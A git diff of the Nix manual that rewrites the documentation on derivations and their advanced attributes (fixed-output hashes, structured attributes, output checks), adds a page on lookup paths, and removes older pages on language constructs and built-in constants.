where you can edit, build and test diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 2e7e80ed0..51b83fc8a 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -112,13 +112,19 @@ Derivations can declare some infrequently used optional attributes. > environmental variables come from the environment of the > `nix-build`. + If the [`configurable-impure-env` experimental + feature](@docroot@/development/experimental-features.md#xp-feature-configurable-impure-env) + is enabled, these environment variables can also be controlled + through the + [`impure-env`](@docroot@/command-ref/conf-file.md#conf-impure-env) + configuration setting. + - [`outputHash`]{#adv-attr-outputHash}; [`outputHashAlgo`]{#adv-attr-outputHashAlgo}; [`outputHashMode`]{#adv-attr-outputHashMode}\ - These attributes declare that the derivation is a so-called - *fixed-output derivation*, which means that a cryptographic hash of - the output is already known in advance. When the build of a - fixed-output derivation finishes, Nix computes the cryptographic - hash of the output and compares it to the hash declared with these - attributes. If there is a mismatch, the build fails. + These attributes declare that the derivation is a so-called *fixed-output derivation* (FOD), which means that a cryptographic hash of the output is already known in advance. + + As opposed to regular derivations, the [`builder`] executable of a fixed-output derivation has access to the network. + Nix computes a cryptographic hash of its output and compares that to the hash declared with these attributes. + If there is a mismatch, the derivation fails. The rationale for fixed-output derivations is derivations such as those produced by the `fetchurl` function. This function downloads a @@ -181,40 +187,66 @@ Derivations can declare some infrequently used optional attributes. } ``` - The `outputHashAlgo` attribute specifies the hash algorithm used to - compute the hash. It can currently be `"sha1"`, `"sha256"` or - `"sha512"`. + The `outputHash` attribute must be a string containing the hash in either hexadecimal or "nix32" encoding, or following the format for integrity metadata as defined by [SRI](https://www.w3.org/TR/SRI/). + The "nix32" encoding is an adaptation of base-32 encoding. + The [`convertHash`](@docroot@/language/builtins.md#builtins-convertHash) function shows how to convert between different encodings, and the [`nix-hash` command](../command-ref/nix-hash.md) has information about obtaining the hash for some contents, as well as converting to and from encodings. + + The `outputHashAlgo` attribute specifies the hash algorithm used to compute the hash. + It can currently be `"sha1"`, `"sha256"`, `"sha512"`, or `null`. + `outputHashAlgo` can only be `null` when `outputHash` follows the SRI format. The `outputHashMode` attribute determines how the hash is computed. - It must be one of the following two values: + It must be one of the following values: - - `"flat"`\ - The output must be a non-executable regular file. If it isn’t, - the build fails. The hash is simply computed over the contents - of that file (so it’s equal to what Unix commands like - `sha256sum` or `sha1sum` produce). + - [`"flat"`](@docroot@/store/store-object/content-address.md#method-flat) This is the default. - - `"recursive"`\ - The hash is computed over the NAR archive dump of the output - (i.e., the result of [`nix-store - --dump`](../command-ref/nix-store.md#operation---dump)). In - this case, the output can be anything, including a directory - tree. + - [`"recursive"` or `"nar"`](@docroot@/store/store-object/content-address.md#method-nix-archive) + + > **Compatibility** + > + > `"recursive"` is the traditional way of indicating this, + > and is supported since 2005 (virtually the entire history of Nix). + > `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI), + > however support for it is only added in Nix version 2.21. + + - [`"text"`](@docroot@/store/store-object/content-address.md#method-text) + + > **Warning** + > + > The use of this method for derivation outputs is part of the [`dynamic-derivations`][xp-feature-dynamic-derivations] experimental feature. + + - [`"git"`](@docroot@/store/store-object/content-address.md#method-git) + + > **Warning** + > + > This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature. - The `outputHash` attribute, finally, must be a string containing - the hash in either hexadecimal or base-32 notation. (See the - [`nix-hash` command](../command-ref/nix-hash.md) for information - about converting to and from base-32 notation.) - - [`__contentAddressed`]{#adv-attr-__contentAddressed} - If this **experimental** attribute is set to true, then the derivation + + > **Warning** + > This attribute is part of an [experimental feature](@docroot@/development/experimental-features.md). + > + > To use this attribute, you must enable the + > [`ca-derivations`][xp-feature-ca-derivations] experimental feature. + > For example, in [nix.conf](../command-ref/conf-file.md) you could add: + > + > ``` + > extra-experimental-features = ca-derivations + > ``` + + If this attribute is set to `true`, then the derivation outputs will be stored in a content-addressed location rather than the traditional input-addressed one. - This only has an effect if the `ca-derivation` experimental feature is enabled. - - Setting this attribute also requires setting `outputHashMode` and `outputHashAlgo` like for *fixed-output derivations* (see above). + + Setting this attribute also requires setting + [`outputHashMode`](#adv-attr-outputHashMode) + and + [`outputHashAlgo`](#adv-attr-outputHashAlgo) + like for *fixed-output derivations* (see above). + + It also implicitly requires that the machine to build the derivation must have the `ca-derivations` [system feature](@docroot@/command-ref/conf-file.md#conf-system-features). - [`passAsFile`]{#adv-attr-passAsFile}\ A list of names of attributes that should be passed via files rather @@ -235,23 +267,109 @@ Derivations can declare some infrequently used optional attributes. of the environment (typically, a few hundred kilobyte). - [`preferLocalBuild`]{#adv-attr-preferLocalBuild}\ - If this attribute is set to `true` and [distributed building is - enabled](../advanced-topics/distributed-builds.md), then, if - possible, the derivation will be built locally instead of forwarded - to a remote machine. This is appropriate for trivial builders - where the cost of doing a download or remote build would exceed - the cost of building locally. + If this attribute is set to `true` and [distributed building is enabled](@docroot@/command-ref/conf-file.md#conf-builders), then, if possible, the derivation will be built locally instead of being forwarded to a remote machine. + This is useful for derivations that are cheapest to build locally. - [`allowSubstitutes`]{#adv-attr-allowSubstitutes}\ - If this attribute is set to `false`, then Nix will always build this - derivation; it will not try to substitute its outputs. This is - useful for very trivial derivations (such as `writeText` in Nixpkgs) - that are cheaper to build than to substitute from a binary cache. + If this attribute is set to `false`, then Nix will always build this derivation (locally or remotely); it will not try to substitute its outputs. + This is useful for derivations that are cheaper to build than to substitute. + + This attribute can be ignored by setting [`always-allow-substitutes`](@docroot@/command-ref/conf-file.md#conf-always-allow-substitutes) to `true`. > **Note** > - > You need to have a builder configured which satisfies the - > derivation’s `system` attribute, since the derivation cannot be - > substituted. Thus it is usually a good idea to align `system` with - > `builtins.currentSystem` when setting `allowSubstitutes` to - > `false`. For most trivial derivations this should be the case. + > If set to `false`, the [`builder`] should be able to run on the system type specified in the [`system` attribute](./derivations.md#attr-system), since the derivation cannot be substituted. + + [`builder`]: ./derivations.md#attr-builder + + - [`__structuredAttrs`]{#adv-attr-structuredAttrs}\ + If the special attribute `__structuredAttrs` is set to `true`, the other derivation + attributes are serialised into a file in JSON format. The environment variable + `NIX_ATTRS_JSON_FILE` points to the exact location of that file both in a build + and a [`nix-shell`](../command-ref/nix-shell.md). This obviates the need for + [`passAsFile`](#adv-attr-passAsFile) since JSON files have no size restrictions, + unlike process environments. + + It also makes it possible to tweak derivation settings in a structured way; see + [`outputChecks`](#adv-attr-outputChecks) for example. + + As a convenience to Bash builders, + Nix writes a script that initialises shell variables + corresponding to all attributes that are representable in Bash. The + environment variable `NIX_ATTRS_SH_FILE` points to the exact + location of the script, both in a build and a + [`nix-shell`](../command-ref/nix-shell.md). This includes non-nested + (associative) arrays. For example, the attribute `hardening.format = true` + ends up as the Bash associative array element `${hardening[format]}`. + + > **Warning** + > + > If set to `true`, other advanced attributes such as [`allowedReferences`](#adv-attr-allowedReferences), [`allowedReferences`](#adv-attr-allowedReferences), [`allowedRequisites`](#adv-attr-allowedRequisites), + [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), maxSize, and maxClosureSize. + will have no effect. + + - [`outputChecks`]{#adv-attr-outputChecks}\ + When using [structured attributes](#adv-attr-structuredAttrs), the `outputChecks` + attribute allows defining checks per-output. + + In addition to + [`allowedReferences`](#adv-attr-allowedReferences), [`allowedRequisites`](#adv-attr-allowedRequisites), + [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), + the following attributes are available: + + - `maxSize` defines the maximum size of the resulting [store object](@docroot@/store/store-object.md). + - `maxClosureSize` defines the maximum size of the output's closure. + - `ignoreSelfRefs` controls whether self-references should be considered when + checking for allowed references/requisites. + + Example: + + ```nix + __structuredAttrs = true; + + outputChecks.out = { + # The closure of 'out' must not be larger than 256 MiB. + maxClosureSize = 256 * 1024 * 1024; + + # It must not refer to the C compiler or to the 'dev' output. + disallowedRequisites = [ stdenv.cc "dev" ]; + }; + + outputChecks.dev = { + # The 'dev' output must not be larger than 128 KiB. + maxSize = 128 * 1024; + }; + ``` + + - [`unsafeDiscardReferences`]{#adv-attr-unsafeDiscardReferences}\ + + When using [structured attributes](#adv-attr-structuredAttrs), the + attribute `unsafeDiscardReferences` is an attribute set with a boolean value for each output name. + If set to `true`, it disables scanning the output for runtime dependencies. + + Example: + + ```nix + __structuredAttrs = true; + unsafeDiscardReferences.out = true; + ``` + + This is useful, for example, when generating self-contained filesystem images with + their own embedded Nix store: hashes found inside such an image refer + to the embedded store and not to the host's Nix store. + +- [`requiredSystemFeatures`]{#adv-attr-requiredSystemFeatures}\ + + If a derivation has the `requiredSystemFeatures` attribute, then Nix will only build it on a machine that has the corresponding features set in its [`system-features` configuration](@docroot@/command-ref/conf-file.md#conf-system-features). + + For example, setting + + ```nix + requiredSystemFeatures = [ "kvm" ]; + ``` + + ensures that the derivation can only be built on a machine with the `kvm` feature. + +[xp-feature-ca-derivations]: @docroot@/development/experimental-features.md#xp-feature-ca-derivations +[xp-feature-dynamic-derivations]: @docroot@/development/experimental-features.md#xp-feature-dynamic-derivations +[xp-feature-git-hashing]: @docroot@/development/experimental-features.md#xp-feature-git-hashing diff --git a/doc/manual/src/language/builtin-constants.md b/doc/manual/src/language/builtin-constants.md deleted file mode 100644 index 78d066a82..000000000 --- a/doc/manual/src/language/builtin-constants.md +++ /dev/null @@ -1,20 +0,0 @@ -# Built-in Constants - -Here are the constants built into the Nix expression evaluator: - - - `builtins`\ - The set `builtins` contains all the built-in functions and values. - You can use `builtins` to test for the availability of features in - the Nix installation, e.g., - - ```nix - if builtins ? getEnv then builtins.getEnv "PATH" else "" - ``` - - This allows a Nix expression to fall back gracefully on older Nix - installations that don’t have the desired built-in function. - - - [`builtins.currentSystem`]{#builtins-currentSystem}\ - The built-in value `currentSystem` evaluates to the Nix platform - identifier for the Nix installation on which the expression is being - evaluated, such as `"i686-linux"` or `"x86_64-darwin"`. diff --git a/doc/manual/src/language/builtins-prefix.md b/doc/manual/src/language/builtins-prefix.md index c631a8453..fb983bb7f 100644 --- a/doc/manual/src/language/builtins-prefix.md +++ b/doc/manual/src/language/builtins-prefix.md @@ -1,16 +1,18 @@ -# Built-in Functions +# Built-ins -This section lists the functions built into the Nix expression -evaluator. (The built-in function `derivation` is discussed above.) -Some built-ins, such as `derivation`, are always in scope of every Nix -expression; you can just access them right away. But to prevent -polluting the namespace too much, most built-ins are not in -scope. Instead, you can access them through the `builtins` built-in -value, which is a set that contains all built-in functions and values. -For instance, `derivation` is also available as `builtins.derivation`. +This section lists the values and functions built into the Nix language evaluator. +All built-ins are available through the global [`builtins`](#builtins-builtins) constant. + +Some built-ins are also exposed directly in the global scope: + + + +- [`derivation`](#builtins-derivation) +- [`import`](#builtins-import) +- [`abort`](#builtins-abort) +- [`throw`](#builtins-throw)
-
derivation attrs; - builtins.derivation attrs
+
derivation attrs

derivation is described in its own section.

diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md deleted file mode 100644 index 1c01f2cc7..000000000 --- a/doc/manual/src/language/constructs.md +++ /dev/null @@ -1,354 +0,0 @@ -# Language Constructs - -## Recursive sets - -Recursive sets are just normal sets, but the attributes can refer to -each other. For example, - -```nix -rec { - x = y; - y = 123; -}.x -``` - -evaluates to `123`. Note that without `rec` the binding `x = y;` would -refer to the variable `y` in the surrounding scope, if one exists, and -would be invalid if no such variable exists. That is, in a normal -(non-recursive) set, attributes are not added to the lexical scope; in a -recursive set, they are. - -Recursive sets of course introduce the danger of infinite recursion. For -example, the expression - -```nix -rec { - x = y; - y = x; -}.x -``` - -will crash with an `infinite recursion encountered` error message. - -## Let-expressions - -A let-expression allows you to define local variables for an expression. -For instance, - -```nix -let - x = "foo"; - y = "bar"; -in x + y -``` - -evaluates to `"foobar"`. - -## Inheriting attributes - -When defining a set or in a let-expression it is often convenient to -copy variables from the surrounding lexical scope (e.g., when you want -to propagate attributes). This can be shortened using the `inherit` -keyword. For instance, - -```nix -let x = 123; in -{ inherit x; - y = 456; -} -``` - -is equivalent to - -```nix -let x = 123; in -{ x = x; - y = 456; -} -``` - -and both evaluate to `{ x = 123; y = 456; }`. (Note that this works -because `x` is added to the lexical scope by the `let` construct.) It is -also possible to inherit attributes from another set. For instance, in -this fragment from `all-packages.nix`, - -```nix -graphviz = (import ../tools/graphics/graphviz) { - inherit fetchurl stdenv libpng libjpeg expat x11 yacc; - inherit (xlibs) libXaw; -}; - -xlibs = { - libX11 = ...; - libXaw = ...; - ... -} - -libpng = ...; -libjpg = ...; -... -``` - -the set used in the function call to the function defined in -`../tools/graphics/graphviz` inherits a number of variables from the -surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw` -(the X Athena Widgets) from the `xlibs` (X11 client-side libraries) set. - -Summarizing the fragment - -```nix -... -inherit x y z; -inherit (src-set) a b c; -... -``` - -is equivalent to - -```nix -... -x = x; y = y; z = z; -a = src-set.a; b = src-set.b; c = src-set.c; -... -``` - -when used while defining local variables in a let-expression or while -defining a set. - -## Functions - -Functions have the following form: - -```nix -pattern: body -``` - -The pattern specifies what the argument of the function must look like, -and binds variables in the body to (parts of) the argument. There are -three kinds of patterns: - - - If a pattern is a single identifier, then the function matches any - argument. Example: - - ```nix - let negate = x: !x; - concat = x: y: x + y; - in if negate true then concat "foo" "bar" else "" - ``` - - Note that `concat` is a function that takes one argument and returns - a function that takes another argument. This allows partial - parameterisation (i.e., only filling some of the arguments of a - function); e.g., - - ```nix - map (concat "foo") [ "bar" "bla" "abc" ] - ``` - - evaluates to `[ "foobar" "foobla" "fooabc" ]`. - - - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a - set containing the listed attributes, and binds the values of those - attributes to variables in the function body. For example, the - function - - ```nix - { x, y, z }: z + y + x - ``` - - can only be called with a set containing exactly the attributes `x`, - `y` and `z`. No other attributes are allowed. If you want to allow - additional arguments, you can use an ellipsis (`...`): - - ```nix - { x, y, z, ... }: z + y + x - ``` - - This works on any set that contains at least the three named - attributes. - - It is possible to provide *default values* for attributes, in - which case they are allowed to be missing. A default value is - specified by writing `name ? e`, where *e* is an arbitrary - expression. For example, - - ```nix - { x, y ? "foo", z ? "bar" }: z + y + x - ``` - - specifies a function that only requires an attribute named `x`, but - optionally accepts `y` and `z`. - - - An `@`-pattern provides a means of referring to the whole value - being matched: - - ```nix - args@{ x, y, z, ... }: z + y + x + args.a - ``` - - but can also be written as: - - ```nix - { x, y, z, ... } @ args: z + y + x + args.a - ``` - - Here `args` is bound to the entire argument, which is further - matched against the pattern `{ x, y, z, - ... }`. `@`-pattern makes mainly sense with an ellipsis(`...`) as - you can access attribute names as `a`, using `args.a`, which was - given as an additional attribute to the function. - - > **Warning** - > - > The `args@` expression is bound to the argument passed to the - > function which means that attributes with defaults that aren't - > explicitly specified in the function call won't cause an - > evaluation error, but won't exist in `args`. - > - > For instance - > - > ```nix - > let - > function = args@{ a ? 23, ... }: args; - > in - > function {} - > ```` - > - > will evaluate to an empty attribute set. - -Note that functions do not have names. If you want to give them a name, -you can bind them to an attribute, e.g., - -```nix -let concat = { x, y }: x + y; -in concat { x = "foo"; y = "bar"; } -``` - -## Conditionals - -Conditionals look like this: - -```nix -if e1 then e2 else e3 -``` - -where *e1* is an expression that should evaluate to a Boolean value -(`true` or `false`). - -## Assertions - -Assertions are generally used to check that certain requirements on or -between features and dependencies hold. They look like this: - -```nix -assert e1; e2 -``` - -where *e1* is an expression that should evaluate to a Boolean value. If -it evaluates to `true`, *e2* is returned; otherwise expression -evaluation is aborted and a backtrace is printed. - -Here is a Nix expression for the Subversion package that shows how -assertions can be used:. - -```nix -{ localServer ? false -, httpServer ? false -, sslSupport ? false -, pythonBindings ? false -, javaSwigBindings ? false -, javahlBindings ? false -, stdenv, fetchurl -, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null -}: - -assert localServer -> db4 != null; ① -assert httpServer -> httpd != null && httpd.expat == expat; ② -assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③ -assert pythonBindings -> swig != null && swig.pythonSupport; -assert javaSwigBindings -> swig != null && swig.javaSupport; -assert javahlBindings -> j2sdk != null; - -stdenv.mkDerivation { - name = "subversion-1.1.1"; - ... - openssl = if sslSupport then openssl else null; ④ - ... -} -``` - -The points of interest are: - -1. This assertion states that if Subversion is to have support for - local repositories, then Berkeley DB is needed. So if the Subversion - function is called with the `localServer` argument set to `true` but - the `db4` argument set to `null`, then the evaluation fails. - - Note that `->` is the [logical - implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication) - Boolean operation. - -2. This is a more subtle condition: if Subversion is built with Apache - (`httpServer`) support, then the Expat library (an XML library) used - by Subversion should be same as the one used by Apache. This is - because in this configuration Subversion code ends up being linked - with Apache code, and if the Expat libraries do not match, a build- - or runtime link error or incompatibility might occur. - -3. This assertion says that in order for Subversion to have SSL support - (so that it can access `https` URLs), an OpenSSL library must be - passed. Additionally, it says that *if* Apache support is enabled, - then Apache's OpenSSL should match Subversion's. (Note that if - Apache support is not enabled, we don't care about Apache's - OpenSSL.) - -4. The conditional here is not really related to assertions, but is - worth pointing out: it ensures that if SSL support is disabled, then - the Subversion derivation is not dependent on OpenSSL, even if a - non-`null` value was passed. This prevents an unnecessary rebuild of - Subversion if OpenSSL changes. - -## With-expressions - -A *with-expression*, - -```nix -with e1; e2 -``` - -introduces the set *e1* into the lexical scope of the expression *e2*. -For instance, - -```nix -let as = { x = "foo"; y = "bar"; }; -in with as; x + y -``` - -evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes -of `as` to the lexical scope in the expression `x + y`. The most common -use of `with` is in conjunction with the `import` function. E.g., - -```nix -with (import ./definitions.nix); ... -``` - -makes all attributes defined in the file `definitions.nix` available as -if they were defined locally in a `let`-expression. - -The bindings introduced by `with` do not shadow bindings introduced by -other means, e.g. - -```nix -let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ... -``` - -establishes the same scope as - -```nix -let a = 1; in let a = 2; in let a = 3; in let a = 4; in ... -``` - -## Comments - -Comments can be single-line, started with a `#` character, or -inline/multi-line, enclosed within `/* ... */`. diff --git a/doc/manual/src/language/constructs/lookup-path.md b/doc/manual/src/language/constructs/lookup-path.md new file mode 100644 index 000000000..a2e80280b --- /dev/null +++ b/doc/manual/src/language/constructs/lookup-path.md @@ -0,0 +1,24 @@ +# Lookup path + +> **Syntax** +> +> *lookup-path* = `<` *identifier* [ `/` *identifier* ]... `>` + +A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/types.md#type-path) if the identifier matches a search path entry in [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath). +The algorithm for lookup path resolution is described in the documentation on [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile). + +> **Example** +> +> ```nix +> +>``` +> +> /nix/var/nix/profiles/per-user/root/channels/nixpkgs + +> **Example** +> +> ```nix +> +>``` +> +> /nix/var/nix/profiles/per-user/root/channels/nixpkgs/nixos diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md index 043a38191..b57f6bb6a 100644 --- a/doc/manual/src/language/derivations.md +++ b/doc/manual/src/language/derivations.md @@ -1,161 +1,316 @@ # Derivations -The most important built-in function is `derivation`, which is used to -describe a single derivation (a build task). It takes as input a set, -the attributes of which specify the inputs of the build. +The most important built-in function is `derivation`, which is used to describe a single derivation: +a specification for running an executable on precisely defined input files to repeatably produce output files at uniquely determined file system paths. - - There must be an attribute named [`system`]{#attr-system} whose value must be a - string specifying a Nix system type, such as `"i686-linux"` or - `"x86_64-darwin"`. (To figure out your system type, run `nix -vv - --version`.) The build can only be performed on a machine and - operating system matching the system type. (Nix can automatically - [forward builds for other - platforms](../advanced-topics/distributed-builds.md) by forwarding - them to other machines.) +It takes as input an attribute set, the attributes of which specify the inputs to the process. +It outputs an attribute set, and produces a [store derivation] as a side effect of evaluation. - - There must be an attribute named `name` whose value must be a - string. This is used as a symbolic name for the package by - `nix-env`, and it is appended to the output paths of the derivation. +[store derivation]: @docroot@/glossary.md#gloss-store-derivation - - There must be an attribute named `builder` that identifies the - program that is executed to perform the build. It can be either a - derivation or a source (a local file reference, e.g., - `./builder.sh`). +## Input attributes - - Every attribute is passed as an environment variable to the builder. - Attribute values are translated to environment variables as follows: - - - Strings and numbers are just passed verbatim. - - - A *path* (e.g., `../foo/sources.tar`) causes the referenced file - to be copied to the store; its location in the store is put in - the environment variable. The idea is that all sources should - reside in the Nix store, since all inputs to a derivation should - reside in the Nix store. - - - A *derivation* causes that derivation to be built prior to the - present derivation; its default output path is put in the - environment variable. - - - Lists of the previous types are also allowed. They are simply - concatenated, separated by spaces. - - - `true` is passed as the string `1`, `false` and `null` are - passed as an empty string. +### Required - - The optional attribute `args` specifies command-line arguments to be - passed to the builder. It should be a list. +- [`name`]{#attr-name} ([String](@docroot@/language/types.md#type-string)) - - The optional attribute `outputs` specifies a list of symbolic - outputs of the derivation. By default, a derivation produces a - single output path, denoted as `out`. However, derivations can - produce multiple output paths. This is useful because it allows - outputs to be downloaded or garbage-collected separately. For - instance, imagine a library package that provides a dynamic library, - header files, and documentation. A program that links against the - library doesn’t need the header files and documentation at runtime, - and it doesn’t need the documentation at build time. Thus, the - library package could specify: - - ```nix - outputs = [ "lib" "headers" "doc" ]; - ``` - - This will cause Nix to pass environment variables `lib`, `headers` - and `doc` to the builder containing the intended store paths of each - output. The builder would typically do something like - - ```bash - ./configure \ - --libdir=$lib/lib \ - --includedir=$headers/include \ - --docdir=$doc/share/doc - ``` - - for an Autoconf-style package. You can refer to each output of a - derivation by selecting it as an attribute, e.g. - - ```nix - buildInputs = [ pkg.lib pkg.headers ]; - ``` - - The first element of `outputs` determines the *default output*. - Thus, you could also write - - ```nix - buildInputs = [ pkg pkg.headers ]; - ``` - - since `pkg` is equivalent to `pkg.lib`. + A symbolic name for the derivation. + It is added to the [store path] of the corresponding [store derivation] as well as to its [output paths](@docroot@/glossary.md#gloss-output-path). -The function `mkDerivation` in the Nixpkgs standard environment is a -wrapper around `derivation` that adds a default value for `system` and -always uses Bash as the builder, to which the supplied builder is passed -as a command-line argument. See the Nixpkgs manual for details. + [store path]: @docroot@/store/store-path.md -The builder is executed as follows: + > **Example** + > + > ```nix + > derivation { + > name = "hello"; + > # ... + > } + > ``` + > + > The store derivation's path will be `/nix/store/-hello.drv`. + > The [output](#attr-outputs) paths will be of the form `/nix/store/-hello[-]` - - A temporary directory is created under the directory specified by - `TMPDIR` (default `/tmp`) where the build will take place. The - current directory is changed to this directory. +- [`system`]{#attr-system} ([String](@docroot@/language/types.md#type-string)) - - The environment is cleared and set to the derivation attributes, as - specified above. + The system type on which the [`builder`](#attr-builder) executable is meant to be run. - - In addition, the following variables are set: - - - `NIX_BUILD_TOP` contains the path of the temporary directory for - this build. - - - Also, `TMPDIR`, `TEMPDIR`, `TMP`, `TEMP` are set to point to the - temporary directory. This is to prevent the builder from - accidentally writing temporary files anywhere else. Doing so - might cause interference by other processes. - - - `PATH` is set to `/path-not-set` to prevent shells from - initialising it to their built-in default value. - - - `HOME` is set to `/homeless-shelter` to prevent programs from - using `/etc/passwd` or the like to find the user's home - directory, which could cause impurity. Usually, when `HOME` is - set, it is used as the location of the home directory, even if - it points to a non-existent path. - - - `NIX_STORE` is set to the path of the top-level Nix store - directory (typically, `/nix/store`). - - - For each output declared in `outputs`, the corresponding - environment variable is set to point to the intended path in the - Nix store for that output. Each output path is a concatenation - of the cryptographic hash of all build inputs, the `name` - attribute and the output name. (The output name is omitted if - it’s `out`.) + A necessary condition for Nix to build derivations locally is that the `system` attribute matches the current [`system` configuration option]. + It can automatically [build on other platforms](@docroot@/language/derivations.md#attr-builder) by forwarding build requests to other machines. - - If an output path already exists, it is removed. Also, locks are - acquired to prevent multiple Nix instances from performing the same - build at the same time. + [`system` configuration option]: @docroot@/command-ref/conf-file.md#conf-system - - A log of the combined standard output and error is written to - `/nix/var/log/nix`. + > **Example** + > + > Declare a derivation to be built on a specific system type: + > + > ```nix + > derivation { + > # ... + > system = "x86_64-linux"; + > # ... + > } + > ``` - - The builder is executed with the arguments specified by the - attribute `args`. If it exits with exit code 0, it is considered to - have succeeded. + > **Example** + > + > Declare a derivation to be built on the system type that evaluates the expression: + > + > ```nix + > derivation { + > # ... + > system = builtins.currentSystem; + > # ... + > } + > ``` + > + > [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation. - - The temporary directory is removed (unless the `-K` option was - specified). +- [`builder`]{#attr-builder} ([Path](@docroot@/language/types.md#type-path) | [String](@docroot@/language/types.md#type-string)) - - If the build was successful, Nix scans each output path for - references to input paths by looking for the hash parts of the input - paths. Since these are potential runtime dependencies, Nix registers - them as dependencies of the output paths. + Path to an executable that will perform the build. - - After the build, Nix sets the last-modified timestamp on all files - in the build result to 1 (00:00:01 1/1/1970 UTC), sets the group to - the default group, and sets the mode of the file to 0444 or 0555 - (i.e., read-only, with execute permission enabled if the file was - originally executable). Note that possible `setuid` and `setgid` - bits are cleared. Setuid and setgid programs are not currently - supported by Nix. This is because the Nix archives used in - deployment have no concept of ownership information, and because it - makes the build result dependent on the user performing the build. + > **Example** + > + > Use the file located at `/bin/bash` as the builder executable: + > + > ```nix + > derivation { + > # ... + > builder = "/bin/bash"; + > # ... + > }; + > ``` + + + + > **Example** + > + > Copy a local file to the Nix store for use as the builder executable: + > + > ```nix + > derivation { + > # ... + > builder = ./builder.sh; + > # ... + > }; + > ``` + + + + > **Example** + > + > Use a file from another derivation as the builder executable: + > + > ```nix + > let pkgs = import {}; in + > derivation { + > # ... + > builder = "${pkgs.python}/bin/python"; + > # ... + > }; + > ``` + +### Optional + +- [`args`]{#attr-args} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string)) + + Default: `[ ]` + + Command-line arguments to be passed to the [`builder`](#attr-builder) executable. + + > **Example** + > + > Pass arguments to Bash to interpret a shell command: + > + > ```nix + > derivation { + > # ... + > builder = "/bin/bash"; + > args = [ "-c" "echo hello world > $out" ]; + > # ... + > }; + > ``` + +- [`outputs`]{#attr-outputs} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string)) + + Default: `[ "out" ]` + + Symbolic outputs of the derivation. + Each output name is passed to the [`builder`](#attr-builder) executable as an environment variable with its value set to the corresponding [store path]. + + By default, a derivation produces a single output called `out`. + However, derivations can produce multiple outputs. + This allows the associated [store objects](@docroot@/store/store-object.md) and their [closures](@docroot@/glossary.md#gloss-closure) to be copied or garbage-collected separately. + + > **Example** + > + > Imagine a library package that provides a dynamic library, header files, and documentation. + > A program that links against such a library doesn’t need the header files and documentation at runtime, and it doesn’t need the documentation at build time. + > Thus, the library package could specify: + > + > ```nix + > derivation { + > # ... + > outputs = [ "lib" "dev" "doc" ]; + > # ... + > } + > ``` + > + > This will cause Nix to pass environment variables `lib`, `dev`, and `doc` to the builder containing the intended store paths of each output. + > The builder would typically do something like + > + > ```bash + > ./configure \ + > --libdir=$lib/lib \ + > --includedir=$dev/include \ + > --docdir=$doc/share/doc + > ``` + > + > for an Autoconf-style package. + + The name of an output is combined with the name of the derivation to create the name part of the output's store path, unless it is `out`, in which case just the name of the derivation is used. + + > **Example** + > + > + > ```nix + > derivation { + > name = "example"; + > outputs = [ "lib" "dev" "doc" "out" ]; + > # ... + > } + > ``` + > + > The store derivation path will be `/nix/store/-example.drv`. + > The output paths will be + > - `/nix/store/-example-lib` + > - `/nix/store/-example-dev` + > - `/nix/store/-example-doc` + > - `/nix/store/-example` + + You can refer to each output of a derivation by selecting it as an attribute. + The first element of `outputs` determines the *default output* and ends up at the top-level. + + > **Example** + > + > Select an output by attribute name: + > + > ```nix + > let + > myPackage = derivation { + > name = "example"; + > outputs = [ "lib" "dev" "doc" "out" ]; + > # ... + > }; + > in myPackage.dev + > ``` + > + > Since `lib` is the first output, `myPackage` is equivalent to `myPackage.lib`. + + + +- See [Advanced Attributes](./advanced-attributes.md) for more, infrequently used, optional attributes. + + + +- Every other attribute is passed as an environment variable to the builder. + Attribute values are translated to environment variables as follows: + + - Strings are passed unchanged. + + - Integral numbers are converted to decimal notation. + + - Floating point numbers are converted to simple decimal or scientific notation with a preset precision. + + - A *path* (e.g., `../foo/sources.tar`) causes the referenced file + to be copied to the store; its location in the store is put in + the environment variable. The idea is that all sources should + reside in the Nix store, since all inputs to a derivation should + reside in the Nix store. + + - A *derivation* causes that derivation to be built prior to the + present derivation. The environment variable is set to the [store path] of the derivation's default [output](#attr-outputs). + + - Lists of the previous types are also allowed. They are simply + concatenated, separated by spaces. + + - `true` is passed as the string `1`, `false` and `null` are + passed as an empty string. + + + +## Builder execution + +The [`builder`](#attr-builder) is executed as follows: + +- A temporary directory is created under the directory specified by + `TMPDIR` (default `/tmp`) where the build will take place. The + current directory is changed to this directory. + +- The environment is cleared and set to the derivation attributes, as + specified above. + +- In addition, the following variables are set: + + - `NIX_BUILD_TOP` contains the path of the temporary directory for + this build. + + - Also, `TMPDIR`, `TEMPDIR`, `TMP`, `TEMP` are set to point to the + temporary directory. This is to prevent the builder from + accidentally writing temporary files anywhere else. Doing so + might cause interference by other processes. + + - `PATH` is set to `/path-not-set` to prevent shells from + initialising it to their built-in default value. + + - `HOME` is set to `/proc/homeless-shelter` on Linux and `/homeless-shelter` + on OSX, to prevent programs from + using `/etc/passwd` or the like to find the user's home + directory, which could cause impurity. Usually, when `HOME` is + set, it is used as the location of the home directory, even if + it points to a non-existent path. + + - `NIX_STORE` is set to the path of the top-level Nix store + directory (typically, `/nix/store`). + + - `NIX_ATTRS_JSON_FILE` & `NIX_ATTRS_SH_FILE` if `__structuredAttrs` + is 